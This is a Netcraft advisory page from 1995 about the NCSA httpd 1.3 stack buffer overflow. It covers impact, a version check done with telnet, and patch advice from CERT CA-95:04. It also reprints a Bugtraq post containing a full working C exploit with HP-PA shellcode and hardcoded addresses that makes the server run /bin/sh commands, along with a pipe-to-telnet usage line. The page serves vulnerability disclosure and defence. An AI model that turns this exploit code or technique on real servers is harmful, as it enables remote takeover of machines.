Netcraft HTTP - NCSA 1.3 VULNERABILITY _________________________________________________________________ Service http Program NCSA httpd version 1.3 and earlier Timeliness Widely known since 13th February 1995. Impact Internet users can obtain remote access on the machine as the owner of the http daemon. The owner of the httpd is set by the User Directive in the server configuration file httpd.conf. Recommendation There is no good reason to run a version of NCSA earlier than 1.5. Upgrade to the latest version. Simple Vulnerability Test #telnet to the http port and use the http HEAD method to find out the #server type and version. If the server signature is NCSA/1.3 #or earlier and a specific patch has not been installed the http server #is vulnerable. ns0: {21} telnet www.netcraft.com 80 Trying 194.72.238.5... Connected to www.netcraft.com. Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.0 200 Document follows Date: Thu, 28 Dec 1995 17:08:55 GMT Server: NCSA/1.5 Description The vulnerability is triggered by a buffer overflow condition, whereupon the server can be coerced into executing other programs, such as a Unix shell. The advice given in Cert Advisory CA-95:04 is misleading as two alternative patches are presented as a single solution. The material in Step 1 of the Cert advisory should be ignored. If you intend to patch your existing server rather than upgrade, simply follow the instructions in Step 2 of their advisory. Cert issued an update to this effect on 15th March 1995. From Cert Advisory CA-95:04 Step 1: In the file httpd.h, change the string length definitions from: /* The default string lengths */ #define MAX_STRING_LEN 256 #define HUGE_STRING_LEN 8192 to: /* The default string lengths */ #define HUGE_STRING_LEN 8192 #define MAX_STRING_LEN HUGE_STRING_LEN The NSCA httpd team point out that there are 154 variable declarations which use MAX_STRING_LEN in the server, and changing them from 256 to 8192 increases virtual memory requirements very significantly. However, there is no further vulnerability arising from strings exceeding the larger buffer size as 8192 is the maximum number of characters read by the server in response to a request. Detailed Demonstration A program to demonstrate the problem on an HP PA-RISC machine was published by Thomas Lopatic on 13th Fenruary 1995. The method is equally applicable to other architectures, and we would be pleased to hear from anyone who has a similar demonstration program for any other common platform. From: Thomas Lopatic Subject: Vulnerability in NCSA HTTPD 1.3 To: bugtraq@fc.net Date: Mon, 13 Feb 1995 22:38:20 +0100 (MET) Hello there, we've installed the NCSA HTTPD 1.3 on our WWW server (HP9000/720, HP-UX 9.01) and I've found, that it can be tricked into executing shell commands. Actually, this bug is similar to the bug in fingerd exploited by the internet worm. The HTTPD reads a maximum of 8192 characters when accepting a request from port 80. When parsing the URL part of the request a buffer with a size of 256 characters is used to prepend the document root (function strsubfirst(), called from translate_name()). Thus we are able to overwrite the data after the buffer. Since the stack grows towards higher addresses on the HP-PA, we are able to overwrite the return pointer which is used to return from the strcpy() call in strsubfirst(). The strcpy() overwrites its own return pointer. On systems with a stack growing the other direction, we'd have to overwrite the return pointer of strsubfirst(). I've implemented this attack for the precompiled HP-PA release provided by the NCSA. To adapt it to custom versions, you have to know the address of the buffer used by strsubfirst() and the offset of the return pointer. One might adapt the program to try 'probable' values, i. e. values within a certain range, if these parameters are not known. I've tried 'cc' and 'gcc' with and without optimization and the parameters didn't vary to much. A generic attack using brute force should therefore be possible. This is the program I've used to break into our WWW server. The assembly code could have been more compact, but I had to avoid 0x00 bytes. The program creates a file named 'GOTCHA' in the '/tmp' directory. Greetings and happy experimenting, -Thomas --- cut here --- /* hc.c */ /* This program demonstrates a vulnerability in the NCSA httpd 1.3 */ /* We make use of a buffer overflow in order to execute commands */ /* on a HP host running the precompiled daemon provided by the NCSA. */ /* The problem is that the array 'tmp' in the function 'strsubfirst()' */ /* has a length of MAX_STRING_LEN. However, the function can be passed */ /* arguments with up to HUGE_STRING_LEN characters. */ /* The output of this program can be pasted into a telnet session */ /* to port 80 of the host to be attacked. */ /* Alternatively simply use 'hc | telnet www.victim.com 80'. /* Written by Thomas Lopatic, lopatic@informatik.uni-muenchen.de */ #include #include /* Instead of defining these macros we could try all probable values */ /* in case the attacked host does not run the precompiled httpd. */ /* The address of 'char tmp[MAX_STRING_LEN]' in the precompiled httpd. */ #define TMPVAR 0x7b03df80 /* This is an offset from TMPVAR. The return pointer for the call to */ /* strcpy() is stored here (in the precompiled httpd). */ #define RPOFF 0x160 /* Byte order of the attacked HP is big endian. */ #define SHIFT1 24 #define SHIFT2 16 #define SHIFT3 8 #define SHIFT4 0 /* Output the lower nibble of i */ char d2a (i) int i; { i &= 0xf; return (i > 9) ? (i + 'A' - 10) : (i + '0'); } /* This is the short assembly language program which will be executed. */ char prog[] = { 0x34, 0x59, 0x01, 0x02, 0x34, 0x5a, 0x01, 0x32, 0x37, 0x5a, 0x3e, 0xf9, 0x6b, 0x3a, 0x3f, 0x01, 0x63, 0x40, 0x3f, 0xff, 0x34, 0x5a, 0x01, 0x38, 0x63, 0x40, 0x3f, 0x35, 0x37, 0x5a, 0x3e, 0xf9, 0x6b, 0x3a, 0x3f, 0x09, 0x63, 0x40, 0x3f, 0xff, 0x0b, 0x5a, 0x02, 0x9a, 0x6b, 0x3a, 0x3f, 0x11, 0x34, 0x5a, 0x01, 0x22, 0x37, 0x5a, 0x3e, 0xf9, 0x6f, 0x3a, 0x3e, 0xf9, 0x20, 0x20, 0x08, 0x01, 0x34, 0x16, 0x01, 0x1e, 0xe4, 0x20, 0xe0, 0x08, 0x36, 0xd6, 0x3e, 0xf9, 0x0b, 0x5a, 0x02, 0x9a, 0x20, 0x20, 0x08, 0x01, 0x34, 0x16, 0x01, 0x0a, 0xe4, 0x20, 0xe0, 0x08, 0x36, 0xd6, 0x3e, 0xf9, 0xe8, 0x5f, 0x1f, 0x35, 0x0b, 0x5a, 0x02, 0x9a, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00 }; int main () { char buffer[400]; int i; /* Copy program, append the arguments. The '$'s are replaced */ /* with 0x00s by the assembly language routine. */ strcpy (buffer, prog); strcat (buffer, "/bin/sh$"); strcat (buffer, "-c$"); /* Length of the argument must be exactly 30 characters. */ /* Otherwise the '$' will not be replaced correctly. */ /* strcat (buffer, "0123456789012345678901234567890123456789$"); */ strcat (buffer, "echo GOTCHA >/tmp/GOTCHA $"); /* Output the http request. */ printf ("GET "); /* Output the program. */ for (i = 0; i < strlen (buffer); i++) printf ("%%%c%c", d2a (buffer[i] >> 4), d2a (buffer[i])); /* Fill the buffer until we have reached the memory location */ /* which contains the return pointer for strcmp(). */ for (i = strlen (buffer); i < RPOFF; i++) printf ("X"); /* Output the entry point for our program. strcmp() will */ /* 'return' into our small assembly program. */ printf ("%%%c%c%%%c%c%%%c%c%%%c%c\n", d2a ((TMPVAR + 0x60) >> (SHIFT1 + 4)), d2a ((TMPVAR + 0x60) >> SHIFT1), d2a ((TMPVAR + 0x60) >> (SHIFT2 + 4)), d2a ((TMPVAR + 0x60) >> SHIFT2), d2a ((TMPVAR + 0x60) >> (SHIFT3 + 4)), d2a ((TMPVAR + 0x60) >> SHIFT3), d2a ((TMPVAR + 0x60) >> (SHIFT4 + 4)), d2a ((TMPVAR + 0x60) >> SHIFT4)); return 0; } --- cut here --- -- Thomas Lopatic lopatic@informatik.uni-muenchen.de References * NSCA httpd Documentation * NCSA Problem Description * Cert Advisory CA-95:04 * Cert Advisory CA-95:04.README * Author's Eye View Last Modified 30th December 1995 Your comments are much appreciated. __________________________________________________________________________ Business Models for the Web | Is your Network Secure? | 1996 Security Diary | Web Server Survey | Client List Netcraft Copyright © Netcraft 1995, 1996